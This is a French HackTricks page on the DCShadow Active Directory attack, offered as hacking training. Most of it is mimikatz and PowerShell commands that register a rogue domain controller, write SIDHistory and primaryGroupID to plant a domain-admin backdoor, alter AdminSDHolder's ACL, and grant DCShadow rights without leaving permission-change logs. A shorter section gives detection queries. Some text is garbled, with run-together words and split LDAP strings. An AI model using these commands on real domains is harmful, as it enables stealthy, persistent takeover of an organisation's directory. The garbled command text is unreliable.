DCShadow
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Il enregistre un nouveau contrôleur de domaine dans l’AD et l’utilise pour pousser des attributs (SIDHistory, SPNs…) sur des objets spécifiés sans laisser de logs concernant les modifications. Vous avez besoin des privilèges DA et devez être dans le domaine racine.
Notez que si vous utilisez des données incorrectes, des logs assez moches apparaîtront.
Pour effectuer l’attaque, vous avez besoin de 2 instances de mimikatz. L’une d’elles démarrera les serveurs RPC avec les privilèges SYSTEM (vous devez indiquer ici les changements que vous voulez effectuer), et l’autre instance sera utilisée pour pousser les valeurs:
!+
!processtoken
lsadump::dcshadow /object:username /attribute:Description /value="My new description"
lsadump::dcshadow /push
Remarquez que elevate::token ne fonctionnera pas dans une session mimikatz1 car cela élève les privilèges du thread, alors que nous devons élever le privilège du processus.
Vous pouvez aussi sélectionner un objet “LDAP” : /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local
Vous pouvez appliquer les changements depuis un DA ou depuis un utilisateur disposant de ces permissions minimales :
- Dans l’objet de domaine :
- DS-Install-Replica (Ajouter/Supprimer une réplique dans le domaine)
- DS-Replication-Manage-Topology (Gérer la topologie de réplication)
- DS-Replication-Synchronize (Synchronisation de réplication)
- L’objet Sites (et ses enfants) dans le conteneur Configuration :
- CreateChild and DeleteChild
- L’objet de l’ordinateur qui est enregistré comme un DC :
- WriteProperty (Not Write)
- L’objet cible :
- WriteProperty (Not Write)
Vous pouvez utiliser Set-DCShadowPermissions pour donner ces privilèges à un utilisateur non privilégié (notez que cela laissera des logs). C’est beaucoup plus restrictif que d’avoir les privilèges DA.
Par exemple : Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose Cela signifie que l’utilisateur student1 lorsqu’il est connecté sur la machine mcorp-student1 a les permissions DCShadow sur l’objet root1user.
Utiliser DCShadow to create backdoors
lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519
lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519
#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
#Second, add to the ACE permissions to your user and push it using DCShadow
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>
Abus des groupes principaux, lacunes d’énumération et détection
primaryGroupIDest un attribut distinct de la listememberdu groupe. DCShadow/DSInternals peuvent l’écrire directement (par ex., définirprimaryGroupID=512pour Domain Admins) sans enforcement local par LSASS, mais AD déplace toujours l’utilisateur : changer le PGID retire toujours l’appartenance au précédent groupe principal (même comportement pour tout groupe cible), donc vous ne pouvez pas conserver l’appartenance au groupe principal précédent.- Les outils par défaut empêchent de retirer un utilisateur de son groupe principal actuel (
ADUC,Remove-ADGroupMember), donc changer le PGID nécessite généralement des écritures directes dans l’annuaire (DCShadow/Set-ADDBPrimaryGroup). - Le reporting des appartenances est incohérent :
- Inclut les membres dérivés du groupe principal:
Get-ADGroupMember "Domain Admins",net group "Domain Admins", ADUC/Admin Center. - Omet les membres dérivés du groupe principal:
Get-ADGroup "Domain Admins" -Properties member, ADSI Edit inspectantmember,Get-ADUser <user> -Properties memberOf. - Les vérifications récursives peuvent manquer les membres du groupe principal si le groupe principal est lui-même imbriqué (p. ex., le PGID de l’utilisateur pointe vers un groupe imbriqué à l’intérieur de Domain Admins) ;
Get-ADGroupMember -Recursiveou les filtres LDAP récursifs ne retourneront pas cet utilisateur sauf si la récursion résout explicitement les groupes principaux. - Astuces DACL : un attaquant peut refuser ReadProperty sur
primaryGroupIDau niveau de l’utilisateur (ou sur l’attributmemberdu groupe pour les groupes non protégés par AdminSDHolder), ce qui cache l’appartenance effective à la plupart des requêtes PowerShell ;net grouprésoudra toujours l’appartenance. Les groupes protégés par AdminSDHolder réinitialiseront ces refus.
Exemples de détection/surveillance :
# Find users whose primary group is not the default Domain Users (RID 513)
Get-ADUser -Filter * -Properties primaryGroup,primaryGroupID |
Where-Object { $_.primaryGroupID -ne 513 } |
Select-Object Name,SamAccountName,primaryGroupID,primaryGroup
# Find users where primaryGroupID cannot be read (likely denied via DACL)
Get-ADUser -Filter * -Properties primaryGroupID |
Where-Object { -not $_.primaryGroupID } |
Select-Object Name,SamAccountName
Vérifiez les groupes privilégiés en comparant la sortie de Get-ADGroupMember avec Get-ADGroup -Properties member ou ADSI Edit afin de déceler les divergences introduites par primaryGroupID ou des attributs masqués.
Shadowception - Give DCShadow permissions using DCShadow (no modified permissions logs)
Nous devons ajouter les ACE suivants avec le SID de notre utilisateur à la fin :
- Sur l’objet de domaine :
(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)- Sur l’objet de l’ordinateur de l’attaquant :
(A;;WP;;;UserSID) - Sur l’objet de l’utilisateur cible :
(A;;WP;;;UserSID) - Sur l’objet Sites dans le conteneur Configuration :
(A;CI;CCDC;;;UserSID)
Pour obtenir l’ACE actuel d’un objet : (New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl
Remarquez que, dans ce cas, vous devez effectuer plusieurs modifications, pas seulement une. Donc, dans la session mimikatz1 (RPC server) utilisez le paramètre /stack with each change que vous voulez faire. De cette façon, vous n’aurez besoin d’exécuter /push qu’une seule fois pour appliquer toutes les modifications en attente sur le rogue server.
More information about DCShadow in ired.team.
Références
- TrustedSec - Adventures in Primary Group Behavior, Reporting, and Exploitation
- DCShadow write-up in ired.team
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


